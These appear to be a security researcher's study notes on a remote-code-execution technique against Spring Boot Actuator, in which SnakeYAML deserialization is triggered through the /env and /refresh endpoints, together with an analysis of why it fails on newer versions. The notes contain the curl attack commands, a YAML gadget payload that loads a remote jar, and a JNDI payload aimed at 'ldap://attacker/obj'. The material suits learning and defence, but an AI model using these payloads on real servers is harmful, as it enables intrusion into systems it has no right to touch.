A Study Notes of Exploit Spring Boot Actuator
Introduction
- Principle and Process Analysis of Realizing RCE by Modifying Environment Variables
- SnakeYAML deserialization introduction and utilization
- High version Spring Boot Actuator utilizes testing and failure cause analysis
RCE Analysis
- Use /envendpoint to modify the spring.cloud.bootstrap.locationattribute value to an external yml configuration file url address, such ashttp://127.0.0.1:63712/yaml-payload.yml
- Request /refreshthe endpoint, trigger the program to download the external yml file, and parse it by the SnakeYAML library, because SnakeYAML supports specifying the class type and the parameters of the construction method during deserialization, combined with the javax.script.ScriptEngineManagerclass , it can load the remote jar package and complete any arbitrary code execution
- From the process, we know that the command execution is caused by a deserialization vulnerability when SnakeYAML parses the YAML file. Let's look at an example of deserialization using the SnakeYAML library.
@Test
public void testYaml() {
Yaml yaml = new Yaml();
Object url = yaml.load("!!java.net.URL [\"http://127.0.0.1:63712/yaml-payload.jar\"]");
// class java.net.URL
System.out.println(url.getClass());
// http://127.0.0.1:63712/yaml-payload.jar
System.out.println(url);
}
Let's take a look at the content of the external yml file given in yaml-payload.yml the
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
]]
]
URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));
The general process is understood, let's debug it
For the yaml-payload.jarcode see https://github.com/artsploit/yaml-payload, the key code is AwesomeScriptEngineFactory.javaclass, and Runtime is used in the constructor to execute system commands
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
...
}
method call order
javax.script.ScriptEngineManager<init>
javax.script.ScriptEngineManager.init()
javax.script.ScriptEngineManager.initEngines()
java.util.ServiceLoader.LazyIterator.nextService()
artsploit.AwesomeScriptEngineFactory<init>
Runtime.getRuntime().exec()
In the process of ServiceLoaderloading the implementation class, the parameterless constructor will be called to create an instance and trigger command execution
The corresponding code is in the ServiceLoader.LazyIteratorclassnextService()
After analyzing the YAML deserialization, let's take a look at the execution process in Spring Boot Actuator. For the vulnerability environment and code, see the master branch
Run the vulnerable environment in debug mode, and also breakpoints under the Runtime.exec()method
Modify firstspring.cloud.bootstrap.locationcurl -XPOST http://127.0.0.1:61234/env -d "spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"
Then request the /refreshinterface to trigger
curl -XPOST http://127.0.0.1:61234/refresh
The call stack is relatively long, let's look at a few key places
The first is the RefreshEndpoint.refresh()method , /refreshthe class that handles the interface request
Then you will go to the org.springframework.boot.env.PropertySourcesLoader.load()method , according to the file name suffix (yml), use the YamlPropertySourceLoaderclass to load the yml configuration file corresponding to the url
According to the code on the right, because spring-beans.jar contains snakeyaml.jar, YamlPropertySourceLoaderthe SnakeYAML library is used to parse the configuration by default
High Version Test
The vulnerability environment given by the author in the article is the Spring Boot 1.x version, and in the actual testing process, many situations are encountered in the Spring Boot 2.x version. In version 2.x, the default endpoint prefix of the actuator is /actuator, and the post body of the envinterface also in JSON format. The steps are:Modify environment variables
curl -XPOST -H "Content-Type: application/json" http://127.0.0.1:61234/actuator/env -d '{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}'
curl -XPOST http://127.0.0.1:61234/actuator/refresh
After some research, I found that it was because the value of the spring.cloud.bootstrap.locationattribute did not take effect.
Let's recall the second key point mentioned earlier
BootstrapApplicationListener.bootstrapServiceContext() , here is spring.cloud.bootstrap.location the , that is, the external yml file url set before
It can be seen that configLocationthe value of , is empty, that is, the value that cannot be parsed from ${spring.cloud.bootstrap.location}
Through the analysis of the calling method and variable, it is found environmentthat the propertySourceList attribute in the variable has changed
Let's take a look at the 1.x version first, you can see that it contains manager
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input)
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
StandardEnvironment environment = new StandardEnvironment();
MutablePropertySources capturedPropertySources = environment.getPropertySources();
for (PropertySource<?> source : capturedPropertySources) {
capturedPropertySources.remove(source.getName());
}
for (PropertySource<?> source : input.getPropertySources()) {
capturedPropertySources.addLast(source);
}
environment.setActiveProfiles(input.getActiveProfiles());
environment.setDefaultProfiles(input.getDefaultProfiles());
Map<String, Object> map = new HashMap<String, Object>();
map.put("spring.jmx.enabled", false);
map.put("spring.main.sources", "");
capturedPropertySources
.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
return environment;
}
private static final String[] DEFAULT_PROPERTY_SOURCES = new String[] {
// order matters, if cli args aren't first, things get messy
// commandLineArgs
CommandLinePropertySource.COMMAND_LINE_PROPERTY_SOURCE_NAME,
"defaultProperties" };
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
StandardEnvironment environment = new StandardEnvironment();
MutablePropertySources capturedPropertySources = environment.getPropertySources();
// Only copy the default property source(s) and the profiles over from the main
// environment (everything else should be pristine, just like it was on startup).
for (String name : DEFAULT_PROPERTY_SOURCES) {
if (input.getPropertySources().contains(name)) {
if (capturedPropertySources.contains(name)) {
capturedPropertySources.replace(name,
input.getPropertySources().get(name));
}
else {
capturedPropertySources.addLast(input.getPropertySources().get(name));
}
}
}
environment.setActiveProfiles(input.getActiveProfiles());
environment.setDefaultProfiles(input.getDefaultProfiles());
Map<String, Object> map = new HashMap<String, Object>();
map.put("spring.jmx.enabled", false);
map.put("spring.main.sources", "");
capturedPropertySources
.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
return environment;
}
- commandLineArgs
- default properties
And what we added is that the property value is in manager the PropertySource, so it will not be added to the property sources ( capturedPropertySources) of the environment, which will eventually lead to the inability to resolve
At this point, it can be determined that the method of implementing RCE by modifying spring.cloud.bootstrap.locationattributes cannot be successful in high versions
In order to find the available version range, I looked at the commit record of git and found that the modification was spring-cloud-common merged in 1.3.0.RELEASE, so it is 1.3.0.RELEASEonly
And the dependency version of the Spring Cloud related jar package depends on spring-cloud-dependencies the version, you can know from pom.xml that spring-cloud-dependenciesthe Dalston.RELEASE version depends on 1.2.0 spring-cloud-commons, and the later version depends on >= 1.3.0, according to the document https: //spring.io/projects/spring-cloud version adaptation instructions of Spring Cloud to Spring BootWe can know that
- Spring Boot 2.x cannot be exploited successfully
- Spring Boot 1.5.x can be used successfully when using the Dalstonversion , but can Edgwarenot be used successfully
- Spring Boot <= 1.4 can exploit success
Think
How to find it?
How did the author find this exploit? This has always been the first question that I want to know the answer to after reading this big guy's article, and it is also the most difficult question. Here try to find some ideas and cluesFirst of all, when Spring Cloud components are not used, the /envendpoint of Spring Boot Actuator can only read the value of environment variables by default, so the first question is, how to know that there is a function that can modify environment variables?
Here, you need to have a certain understanding and experience of Spring ecology, such as Spring Boot, Spring Cloud, etc., otherwise, you will not be able to start. By searching Spring Cloud's documentation, I found the relevant instructions https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_endpoints
- POST to /env to update the Environment and rebind @ConfigurationProperties and log levels
- /refresh for re-loading the bootstrap context and refreshing the @RefreshScope beans
Then the next problem is to find which environment variables can be modified and some sensitive operations will be performed after reload. According to the instructions in the article, there are many environment variables that can be modified, so you need to try them one by one.
There is no idea of forward-thinking here, turn to the reverse, try to spring.cloud.bootstrap.locationstart with, customize-bootstrap-properties according to the instructions in the Spring documentation
The bootstrap.yml (or .properties) location can be specified by setting spring.cloud.bootstrap.name (default: bootstrap) or spring.cloud.bootstrap.location (default: empty) — for example, in System properties.
It can be known that this variable is used to specify the location of the bootstrap configuration file. The supported file formats include ymland properties. Friends who are familiar with Java security may think that the parsing of yml will have a problem of deserialization. If the content of the configuration file is here, we If you can control it, there is a possibility that it can be exploited.
The next step is to combine the Spring Cloud source code and hands-on debugging to determine the processing of spring.cloud.bootstrap.locationenvironment variables and the parsing process of configuration files. According to the previous analysis, we know that the specified yml file will be downloaded in the code and parsed using the SnakeYAML library, so there is a deserialization vulnerability.
Of course, the actual process will be much more complicated than just described, requiring a lot of time and effort to read the documentation and debug the code.
SnakeYAML Payload
According to the introduction in https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf, in addition to the javax.script.ScriptEngineManager class , we can also use the com.sun.rowset.JdbcRowSetImplclass to complete the exploitation through JNDI injection. The payload is as follows!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: ldap://attacker/obj
autoCommit: true
Changes In YamlPropertySourceLoader
In the process of looking for the reason for the failure of the high version of Spring Boot Actuator, I also found that even if it spring.cloud.bootstrap.locationcan successfully resolve, it still cannot succeed. The reason is that the class org.springframework.boot.env.YamlPropertySourceLoaderlogic of parsing yml in Spring boot has also changed. The test code is as follows @Test
public void test() throws Exception {
new YamlPropertySourceLoader().load("name", new ClassPathResource("payload/yaml-payload.yml"));
}
Summary
This article briefly analyzes the principles and steps of implementing RCE by modifying spring.cloud.bootstrap.locationenvironment . Although it cannot be used successfully in high versions, the process is still worth learning. And because there are so many frameworks and components in the Spring ecosystem, there may be more ways to use them. Interested masters can try to study them.Finally, due to the limited personal level, there may be inaccurate or wrong descriptions in the article. Welcome to point out and communicate
Post a Comment